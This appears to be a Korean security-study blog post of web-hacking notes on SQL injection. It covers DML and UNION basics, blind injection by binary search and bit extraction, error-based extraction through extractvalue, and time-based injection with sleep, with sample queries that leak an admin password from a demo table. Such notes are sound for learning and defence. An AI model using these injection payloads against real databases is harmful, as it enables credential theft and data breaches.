본문 바로가기

웹해킹

SQL Injection-1

DML(Data Manipulation Language)는 데이터베이스에서 데이터를 조회, 추가, 삭제, 수정하는 구문이다.

SELECT
    uid, title, boardcontent
FROM board
WHERE boardcontent like '%abc%'
ORDER BY uid DESC
LIMIT 5

SELECT 구문을 활용한 예시이다.

 

INSERT 
    INTO board (title, boardcontent)
    VALUES ('title 1', (select upw from users where uid='admin'));

INSERT 구문을 활용한 예시이다.

 

UPDATE board
    SET boardcontent = "update content 2"
    WHERE title = 'title 1';

UPDATE 구문을 활용한 예시이다.

 

DELETE FROM board
    WHERE title = 'title 1';

DELETE 구문을 활용한 예시이다.

 

UNION은 다수의 SELECT 구문의 결과를 결합하는 절이다.

mysql> SELECT * FROM UserTable UNION SELECT "DreamHack", "DreamHack PW";

UNION 절의 사용 예시이다.

 

서브 쿼리는 한 쿼리 내의 또 다른 쿼리를 사용하는 것이다.

쿼리 내에서 괄호 안에 구문을 삽입하며, SELECT 구문만 사용할 수 있다.

SELECT 구문의 컬럼 절에서 서브 쿼리를 사용할 때는 단일 행, 단일 컬럼이 반환되어야 한다.

FROM 절에서 사용하는 서브 쿼리는 인라인 뷰라고 하고, 다중 행, 다중 컬럼을 반환할 수 있다.

WHERE 절에서도 마찬가지로 서브 쿼리에서 다중 행 결과를 반환할 수 있다.

 

Blind SQL Injection을 효율적으로 하기 위해 이진 탐색을 할 수 있다.

아스키에서 출력 가능한 문자의 범위가 32~126이기 때문에

처음에는 79와 비교를 하면 된다.

select * from users where username='admin' and ascii(substr(password, 1, 1))>79;

이진 탐색을 통한 Blind SQL Injection의 예시이다.

 

mysql에서 숫자를 비트 형태로 변환하는 bin이라는 함수를 제공한다.

mysql> select * from users where username='admin' and substr(bin(ord(password)),1,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where username='admin' and substr(bin(ord(password)),2,1)=1;
Empty set (0.00 sec)

mysql> select * from users where username='admin' and substr(bin(ord(password)),3,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.01 sec)

mysql> select * from users where username='admin' and substr(bin(ord(password)),4,1)=1;
Empty set (0.00 sec)

mysql> select * from users where username='admin' and substr(bin(ord(password)),5,1)=1;
Empty set (0.00 sec)

mysql> select * from users where username='admin' and substr(bin(ord(password)),6,1)=1;
Empty set (0.00 sec)

mysql> select * from users where username='admin' and substr(bin(ord(password)),7,1)=1;
Empty set (0.00 sec)

이런 식으로 bin을 이용해 비밀번호의 첫 바이트가 1010000, 문자로는 P임을 알 수 있다.

 

Error based SQL Injection은 에러를 발생시켜서 데이터베이스와 운영 체제의 정보를 획득한다.

extractvalue 함수는 첫 번째 인자로 전달된 XML 데이터에서 두 번째 인자인 XPATH 식을 통해 데이터를 추출한다.

SELECT extractvalue(1,concat(0x3a,version()));
/*
ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
*/

이렇게 잘못된 인자를 넣으면 에러 메세지에서 운영체제에 대한 정보를 얻을 수 있다.

mysql> SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));
ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'

extractvalue의 에러메세지로 데이터베이스 정보를 추출할 수도 있다.

 

Time based SQL Injection은 시간 지연을 이용해 참/거짓 여부를 판단하는 공격 기법이다.

mysql> SELECT IF(1=1, sleep(1), 0);
/*
mysql> SELECT IF(1=1, sleep(1), 0);
+----------------------+
| IF(1=1, sleep(1), 0) |
+----------------------+
|                    0 |
+----------------------+
1 row in set (1.00 sec)
*/
mysql> SELECT IF(1=0, sleep(1), 0);
/*
mysql> SELECT IF(1=0, sleep(1), 0);
+----------------------+
| IF(1=0, sleep(1), 0) |
+----------------------+
|                    0 |
+----------------------+
1 row in set (0.00 sec)
*/

이렇게 sleep 함수를 이용할 수 있다.

연산이 복잡한 heavy 쿼리를 이용할 수도 있다.

 

'웹해킹' 카테고리의 다른 글

드림핵 error based sql injection 롸업  (0) 2023.12.02
드림핵 blind sql injection advanced 롸업  (0) 2023.12.02
드림핵 DOM XSS 롸업  (0) 2023.11.26
드림핵 XS-Search 롸업  (0) 2023.11.26
DOM & Javascript  (0) 2023.11.26